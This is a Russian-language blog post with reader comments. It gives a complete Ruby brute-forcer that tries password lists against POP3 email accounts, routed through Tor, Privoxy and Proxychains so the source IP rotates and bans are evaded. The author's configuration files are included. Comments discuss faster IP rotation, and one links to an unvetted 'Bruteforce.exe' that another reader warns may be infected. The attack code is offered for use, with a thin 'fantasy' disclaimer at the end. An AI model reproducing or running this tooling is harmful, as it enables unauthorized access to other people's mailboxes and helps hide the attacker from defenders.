бессмертный универсальный брутфорс
Сам простой способ перебора, избегающий бан – брутфорсить через прокси/соксы.
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.
Наверное, для многих не секрет, что существует еще один способ – использование ‘луковой маршрутизации’.
Для передачи пакета через ‘луковый маршрут’ используют программу Tor.
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать здесь.
Далее я рассмотрю использование tor’а для брутфорса email’ов по протоколу POP3.
Итак, нам понадобиться:
- собственно сам Tor;
- Privoxy — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);
- Proxychains – программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)
Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:
Tor (/etc/tor/torrc):
1 2 3 4 | DataDirectory /var/lib/tor/.tor NewCircuitPeriod 1 Group toranon User toranon |
Privoxy (/etc/privoxy/config):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | forward-socks4a / 127.0.0.1:9050 . confdir /etc/privoxy logdir /var/log/privoxy actionsfile standard # Internal purpose, recommended actionsfile default # Main actions file actionsfile user # User customizations filterfile default.filter debug 4096 # Startup banner and warnings debug 8192 # Errors - *we highly recommended enabling this* user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096 |
Proxychains (/etc/proxychains.conf):
1 2 3 4 5 6 7 8 9 10 | #dynamic_chain random_chain #случайный сервер chain_len = 1 #максимальная длина цепи tcp_read_time_out 20000 tcp_connect_time_out 20000 #список серверов socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 |
Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.
Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:
- скрипт инициирующий соединение, будет запускаться под tor’ом
- скрипт инициирующий запуск первого скрипта.
1. На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #!/usr/bin/ruby require 'net/pop' n=ARGV.size if n!=3 puts "Not enought arguments\n" exit end login=ARGV[0].split('@')[0] pop_server='pop.'+ARGV[0].split('@')[1] paswd, outfile=ARGV[1],ARGV[2] puts "/#{pop_server}/#{login}/#{paswd}/" invalid=false begin begin Net::POP3.auth_only(pop_server, 110,login, paswd) rescue Net::POPAuthenticationError invalid=true puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}" end rescue => e invalid=true puts "#{Time.now} can't connect #{e}" #retry end if invalid==false puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}" File.open(outfile,"a") do |sfile| sfile.puts "#{Time.now} #{ARGV[0]}:#{ARGV[1]}" end end |
2. На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #!/usr/bin/ruby n=ARGV.size if n<1 or n>2 puts "Not enought arguments\n []" exit end infile=ARGV[0] if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end begin file=File.new(infile) rescue => e puts "Inputfile error:#{e}" end pass=['yourfirstpass','yoursecondpass','yourthirdpass',' etc'] str='' no=0 while str!=nil puts "#{no})" str=file.gets if str!=nil mail=str.to_s.chop! pass.each do |paswd| puts "proxychains ./try_connect.rb #{mail} #{paswd}"+ "#{outfile}" system("proxychains ./try_connect.rb #{mail} #{paswd}"+ "#{outfile}") sleep(3) #интервал между запросами end#each end#if no+=1 end#while file.close |
Теперь рассмотрим прицип работы:
- скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: ‘proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}’
- bash запускает proxychains
- proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor’ом, где обновлять страницу скажем 2ip.ru)
- по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации
Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.
Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.
Статья является плодом бурной фантазии автора и не призывает ни к каким действиям, противоречащим законодательству. Ответственность за использование материала ложиться только на вас! Любые совпадения с реальными людьми считаются случайными. |
Не подскажешь как получить новый IP-адрес c Tor-a?
Делаю вот так: “/etc/init.d/tor restart”
Получаю максимум 100 новых адресов… из 5000 перезапусков
В качеству браузера использую Mechanize.
значит нодов больше нет, тор не такая уж популярная система, чтобы иметь с 5к запусков 5к уникальных IP. Могу лишь посоветовать писать в конфиге локалхост больше раз, дело в том что, каждый локалхост инициирует собой новую цепь, а перезапуск тора ничего толкового не даст, лучше уж тогда перезапускать privoxy…
Спасибо! Попробую добавить локалхосты и перезапускать privoxy.
Вот дело в том, что ноды то есть.
Vidalia показывает стабильно около 2000 серверов (ну и до 50 соединений).
Есть такое понятие – выходные ноды , а их по списку https://torstatus.blutmagie.de/index.php?SR=Bandwidth&SO=Desc
~740 , более того из любого входного нода по цепочке не всегда возможно выйти из любого выходного нода
[...] конфигурацию я приводил в статье про брутфорс. Так вот открываем наш конфиг /etc/privoxy/config и начинаем [...]
http://narod.ru/disk/10376271001/Bruteforce.exe.html
Многопоточный брутфорс,иногда мне помогает,особо не увлекайтесь,а то админы
сайта который вы будете брутить пропалят вас и забанят с подсетью :Р (по
вашему МАС-Адресу компа,у каждого-уникальный)
писал её сам,по всем вопросам пиши в аську 434311633
1. Бойтесь этого брута, не факт что он брут и не факт что он не инфицирован.
2. Если брут работает по принципу, который описан в этой статье, то никто не пропалит никакой ip
3. Причем здесь MAC? И вообще-то mac легко подменяется
Ну вообщем-то это довольно странный комментарий, он очень похож на спам, но я почему-то его одобрил